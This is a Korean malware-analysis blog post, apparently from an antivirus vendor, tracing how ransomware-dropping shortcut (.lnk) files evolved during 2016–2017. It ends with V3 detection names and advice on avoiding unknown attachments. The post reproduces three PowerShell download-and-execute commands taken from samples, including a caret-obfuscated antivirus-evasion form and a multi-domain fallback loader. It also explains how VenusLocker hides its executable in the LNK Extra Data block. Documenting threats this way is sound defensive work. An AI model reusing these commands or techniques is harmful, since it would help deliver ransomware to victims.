2016년부터 20172월 현재까지 랜섬웨어 관련 바로가기(*.lnk) 악성코드가 꾸준히 발견되고 있다.

이메일 등에 첨부 된 형태로 유포되고, 워드 매크로 파일 내부에 존재해 매크로가 실행되면서 실행되기도 한다.

 

바로가기(*.lnk)Shell Link Binary File Format으로 다른 데이터를 접근하는데 필요한 정보를 포함하는 데이터이다.


[그림 1] LNK 구조

 

바로가기 파일(*.lnk)을 이용한 랜섬웨어는 주로 String Data를 이용하고, 최근 Extra data를 이용한 랜섬웨어도 발견되었다. Spora 랜섬웨어와 VenusLocker가 대표적으로 LNK를 이용한 랜섬웨어다.


랜섬웨어 관련 LNK 악성코드를 크게 세가지로 분류 할 수 있다.

1.     스크립트(*.js, *.vbs, *.vbe )를 이용한 악성코드

2.     Powershell을 이용한 바로가기(*.lnk)

3.     VenusLocker에서 이용하는 바로가기(*.lnk)

 

발견 시점

주요 특징

2016년 이전

스크립트를 이용한 다운로더

20161

Powershell을 이용한 다운로더

201611

Powershell‘^’ 문자 추가

20171

Powershell function, 변수를 이용

20171

LNK구조(Extra data block)를 이용

[1] 2016년 이후 랜섬웨어 관련 바로가기(*.lnk) 악성코드


1.     스크립트(*.js, *.vbs, *.vbe )를 이용한 악성코드

2016년 이전에는 바로가기(*.lnk) 악성코드는 .js, .vbs, .vbe 등 스크립트 파일을 실행시키고, 추가 악성행위를 하였으나 작년부터는 바로가기(*.lnk) 악성코드는 powershell을 이용해 악성 파일을 다운로드 하는 형태로 변화하였다.


[그림 2] .vbe를 실행시키는 바로가기(*.lnk)


2.     Powershell을 이용한 바로가기(*.lnk)

20161월 최초 발견된 Powershell을 이용한 랜섬웨어 다운로더 형태는 다운로드 주소와 저장되는 폴더/파일명을 평문으로 볼 수 있는 형태였다. [그림 3]

  

[그림 3] powershell을 이용한 LNK악성코드 (평문 데이터)

 

C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden

(new-object System.Net.WebClient).DownloadFile('http://2**.**4.5**.**5:1**3/KJSA76.exe',

'%TEMP%\KJSA76.exe'); Start-Process "%TEMP%\KJSA76.exe"

[2] LNK악성코드 (평문 데이터)


201611월에 발견된 변형은 문자열 사이에 ‘^’ 문자가 추가되었다. 이는 Powershell을 실행하는데 문제는 없지만 백신진단을 우회하기 위해 나온 변형으로 보인다. [그림 4]

 

 

[그림 4] Powershell을 이용한 LNK악성코드 (‘^’ 문자)


C:\Windows\System32\cmd.exe /c "P^o^Wer^Sh^e^ll.^exe -exEc^UtIonPolICy bYpaS^S -^NoPrOF^ILe (^N^EW-ob^jEcT systeM.NET.wEB^clIE^nT).DoWnLO^a^d^Fil^e^

('http://**6.3**.**3.**7/gite.exe','%appDatA%.exE')^;^s^TA^rt^-P^RoceSs^ %appDatA%.exE"

[3] LNK악성코드 (‘^’ 문자)


그리고, 현재 유포되고 있는 형태는 20171월에 발견되었다. 단순 Download 명령을 사용하는

것이 아닌 함수와 변수 등을 이용해 악성 파일을 다운로드 받는 형태로 발전하였다. [그림 5]


[그림 5] Powershell을 이용한 악성코드 (함수, 변수 이용)


 

-ExecutionPolicyByPass -NoProfile -command  function g($f) { Start $f; }; $ll = 'sparkle**.com','res**.com','cre**.com','lu**.com','**.net'; $y = New-Object System.Net.WebClient; $ld = 0; $cs = [char]92; $fn = $env:temp+$cs; $lk = $fn+'a.txt'; if (!(Test-Path $lk)) { New-Item -Path $fn -Name 'a.txt' -ItemType File; for($n=1; $n -le 2; $n++) { for($i=$ld; $i -lt $ll.length; $i++) { $dn = 0; $f = $fn+'a'+$n+'.exe'; $u = 'http://'+$ll[$i]+'/counter/?i=(생략)&r='+$i+$n; $y.DownloadFile($u, $f); if (Test

-Path $f) { $var = Get-Item $f; if ($var.length -gt 10000) { $dn = 1; g($f); }; if($dn -eq 1) { $ld=$i; break; }; }; }; }; };

[4] LNK악성코드 (함수, 변수 이용)


 최근 국내에 유포 된 VenusLocker 랜섬웨어도 바로가기(*.lnk)를 이용하여 랜섬웨어를 실행시킨다.

( VenusLocker 랜섬웨어 정보 : http://asec.ahnlab.com/1054 )

[그림 6]과 같이 속성을 보면 자격증.jpg 이미지 파일을 실행하는 것으로 보여 일반 사용자들은 정상 파일로 오인하기 쉽다.


 

[그림 6] VenusLocker 바로가기(*lnk)


그러나, LNK 구조를 이용한 VenusLocker_korean.exe를 실행하는 악성 바로가기 파일이다.

[그림 7] Extra data Block에 존재하는 악성 실행 파일

 

Extra Data는 링크 대상에 대한 추가적인 정보를 나타내는 구조체 집합이다. 이 구조체는 기본 Shell Link Binary File Format에 추가 된 extra data section에 존재한다.


**참고자료 

MSDN :https://msdn.microsoft.com/en-us/library/dd891253.aspx

 

악성 코드는 스팸 메일을 통해 유포되고, 문서파일 내부 매크로에 존재하는 경우가 많으므로 출처를 알 수 없는 메일의 첨부파일은 열지 않도록 한다.

그리고, 항상 최신 버전의 윈도우 보안 패치 및 V3 백신 프로그램을 최신 업데이트 상태로 유지하는 것이 필요하다.

 

현재 V3에서는 LNK 악성코드를 다음과 같은 진단명으로 진단하고 있다.

-       LNK/Agent (2016.01.15.00)

-       LNK/Downloader (2016.01.21.00)

-       LNK/Powershell (2016.09.09.00)

-       LNK/Runner.Gen (2016.12.22.03)

-       LNK/Venuslocker (2017.01.20.00)

신고
Creative Commons License
Creative Commons License
Posted by 이보원